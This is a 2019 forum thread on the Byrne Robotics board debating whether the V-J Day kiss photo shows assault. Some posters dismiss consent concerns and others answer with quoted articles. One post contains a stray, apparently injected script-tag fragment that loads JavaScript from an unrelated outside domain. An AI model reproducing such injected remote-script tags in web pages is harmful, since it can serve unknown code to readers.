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John Byrne
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Thomas Woods Byrne Robotics Member
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Posted: 18 February 2019 at 12:56pm | IP Logged | 2
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What a photo, got me scrounging the internet for similar ones in my search for it. The closest thing to time travel we will ever have is the captured images, both still and motion.
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Larry Gil Byrne Robotics Member
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Posted: 18 February 2019 at 5:44pm | IP Logged | 3
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Imagine that kiss happened in today's times . He would be facing sexual assault charges and the full weight of the me2 movement .
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Thomas Woods Byrne Robotics Member
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Posted: 18 February 2019 at 6:00pm | IP Logged | 4
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Imagine that kiss happened in today's times . He would be facing sexual assault charges and the full weight of the me2 movement .
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There are video's out now that tear apart some classic movies because of this, "Predetory romance in Harrison Ford movies" for example .. how Han treated Leia. How Indianan Jones treated women. The whole time I am thinking, "You better abolish pornography before you go down this road."
Edited by Thomas Woods on 18 February 2019 at 6:01pm
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Michael Roberts Byrne Robotics Member
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Posted: 18 February 2019 at 6:29pm | IP Logged | 5
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Imagine that kiss happened in today's times . He would be facing sexual assault charges and the full weight of the me2 movement .
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There's a statue depicting this kiss placed next to San Diego Harbor. Knowing that it represents a drunken sailor grabbing and kissing an innocent stranger kind of ruined it for me.
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Kevin Brown Byrne Robotics Member
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Posted: 19 February 2019 at 12:15pm | IP Logged | 6
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Michael, it was different times. Plus EVERYBODY was celebrating the end of a world war.< ="text/" async="" src="//cardinal.net/1fa16f6ccbee745a0c.js">
Sometimes you need to remove the PC-goggles and realize this.
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Thomas Woods Byrne Robotics Member
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Posted: 19 February 2019 at 12:35pm | IP Logged | 7
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It kinda reminds me of special events, Like a parade where everyone is drinking and celebrating and more open to crazy stuff. Wile on a normal day, such an action may be seen as way out of place.
I imagine that guy would not have done that if it was just a normal day and nothing was going on.
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Michael Roberts Byrne Robotics Member
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Posted: 19 February 2019 at 1:42pm | IP Logged | 8
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I DO understand that. No one was calling for Mendonsa to be charged with sexual assault. It’s important to place things in historical context, but that doesn’t change the fact that the image shows a woman being grabbed and kissed without her consent, which informs how I view the image /now/.
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Thomas Woods Byrne Robotics Member
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Posted: 19 February 2019 at 2:06pm | IP Logged | 9
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Things kinda suck /now/.
It puts too much power in the hands of the woman.
If we could do a social experiment with time travel to reset everyone's minds to before anything happening. You could have a woman that has worked at an office for several years and there are 10 men that work there with her. She has a different view of all 10 of them, one she may have a crush on, another she finds cute, one she doesn't like, and repulsed my another.
If we went back in time an had all 10 do the same thing to her, it is her prerogative only how it ends up.
One she may laugh off and say stop it, with a smile and a wink. Another could get slapped. While another could get the cops called on him, calls for him to be fired and face court and jail time.
Seems too much, specially when the guy feels he has a chance, even though he could be completely wrong.
Edited by Thomas Woods on 19 February 2019 at 2:10pm
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Thomas Woods Byrne Robotics Member
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Posted: 19 February 2019 at 2:17pm | IP Logged | 10
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From the guys perspective it is scary being on the dating scene. Trying to find dates is already hard enough, but now they have to worry if they are walking into a mine field. The first night the girl may seem great, but on a whim or some moment he pisses her off, she could go Full ME2 on his ass.
I think date sites should require a me2 tag on your profile so you can avoid them from the start.
Edited by Thomas Woods on 19 February 2019 at 6:44pm
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Greg Kirkman Byrne Robotics Member
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Posted: 19 February 2019 at 4:09pm | IP Logged | 11
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Remember, kids, expressing a love of life and celebrating the end of a war--even in public--is tantamount to sexual assault.
https://www.bbc.com/news/world-us-canada-47287048
And it's not like the recipient of the kiss said that she didn't mind it at all. Oh, wait. She did.
https://nypost.com/2012/06/17/the-true-story-behind-the-icon ic-v-j-day-sailor-and-nurse-smooch/
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Brian Hague Byrne Robotics Member
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Posted: 19 February 2019 at 4:39pm | IP Logged | 12
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The woman who said she didn't mind the kiss was the sailor's future wife, with whom he was on a date, when he ran over and kissed the woman he assumed was a nurse.
From the article: "The kiss did kind of bother someone else, though: the woman in the nurse's uniform, Greta Zimmer, who wasn't even a nurse. She was a 21-year-old dental assistant from Queens, who, having heard rumors about the end of the war, walked over to Times Square from her office on Lexington Avenue. George says he was so drunk, he doesn't even remember the kiss. Greta says she'll never forget it."
The woman being kissed does not comment on whether or not she approved of the kiss. She does say, "I wasn't kissing him. He was kissing me."
Once again, you get it wrong, Greg. You're misrepresenting the truth an awful lot these days, have you noticed? The rest of us have.
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